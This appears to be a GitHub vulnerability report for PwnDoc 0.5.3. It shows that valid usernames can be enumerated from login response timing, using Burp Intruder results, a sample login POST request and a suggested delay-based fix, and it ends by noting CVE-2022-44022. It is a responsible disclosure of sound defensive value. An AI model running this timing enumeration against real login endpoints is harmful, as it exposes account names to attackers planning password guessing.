

New issue

[Jump to bottom](#)

(Vulnerability) Username enumeration via response timing

#381

Open Astaruf opened this issue on Oct 24 · 1 comment

Astaruf commented on Oct 24 • edited

It is possible to enumerate users registered in PwnDoc (tested on 0.5.3 - 2022-07-19 and previous versions) observing the web server response timing.
For example, let's suppose these users were registered on PwnDoc:

Handle Custom Data

- Collaborators
- Companies
- Clients
- Templates
- Custom Data
- Import / Export

Enabled accounts

Add Collaborator

Username ↑	Firstname	Lastname	Email	Role
admin	admin	admin		admin
alice	alice	alice		admin
astaruf	astaruf	astaruf		admin
bob	bob	bob		report
john	john	john		admin
paul	paul	paul		admin

10 Collaborators

Results per page: 25

By performing a brute force dictionary attack, a defined list of users can be provided via login POST request to detect the server's response time.

Attack
Save
Columns

Results
Positions
Payloads
Resource Pool
Options

Filter: Showing all items

Request	Payload	Status	Response received	Error	Timeout	Length	Comment
1	alice	401	76			476	
5	paul	401	74			476	
22	admin	401	74			476	
3	john	401	48			476	
4	astaruf	401	48			476	
2	bob	401	47			476	
0		401	8			476	
26	su	401	6			476	
7	test	401	5			473	
28	test	401	5			473	
8	guest	401	4			473	
9	info	401	4			476	
11	mysql	401	4			476	
12	user	401	4			473	
13	administrator	401	4			473	
14	oracle	401	4			476	
16	pi	401	4			476	
17	puppet	401	4			476	
20	vagrant	401	4			476	
21	azureuser	401	4			476	
24	hbw7	401	4			476	

Request
Response

Pretty
Raw
Hex

```

1 POST /api/users/token HTTP/1.1
2 Host: 127.0.0.1:8443
3 Content-Length: 50
4 Sec-Ch-Ua: "Not;A=Brand";v="99", "Chromium";v="106"
5 Accept: application/json, text/plain, */*
6 Content-Type: application/json;charset=UTF-8
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
9 Sec-Ch-Ua-Platform: "Linux"
10 Origin: https://127.0.0.1:8443
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: cors
13 Sec-Fetch-Dest: empty
14 Referer: https://127.0.0.1:8443/login
15 Accept-Encoding: gzip, deflate
16 Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
17 Connection: close
18
19 {
20   "username":"bob",
21   "password":"asd",
22   "totpToken":""
23 }

```

0 matches

Finished

All the valid users can be discovered by a potential attacker checking if the response time to the login request is long. For not-existing users we can see a shorter response time.

The attack success depends higly on the stability of the server and the Internet connection between hosts. In any case, in order to apply a remediation, it is advisable to add a timing delay to balance the response timing for each login request.

Let me know if I can help you in any way so, once fixed I would like to get a CVE from mtre.org

 **Astaruf** changed the title ~~Username enumeration via response timing~~ (Vulnerability) Username enumeration via response timing last month

Astaruf commented 26 days ago

Author

A CVE-ID has been reserved by Mitre.org for this vulnerability [CVE-2022-44022](#).

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

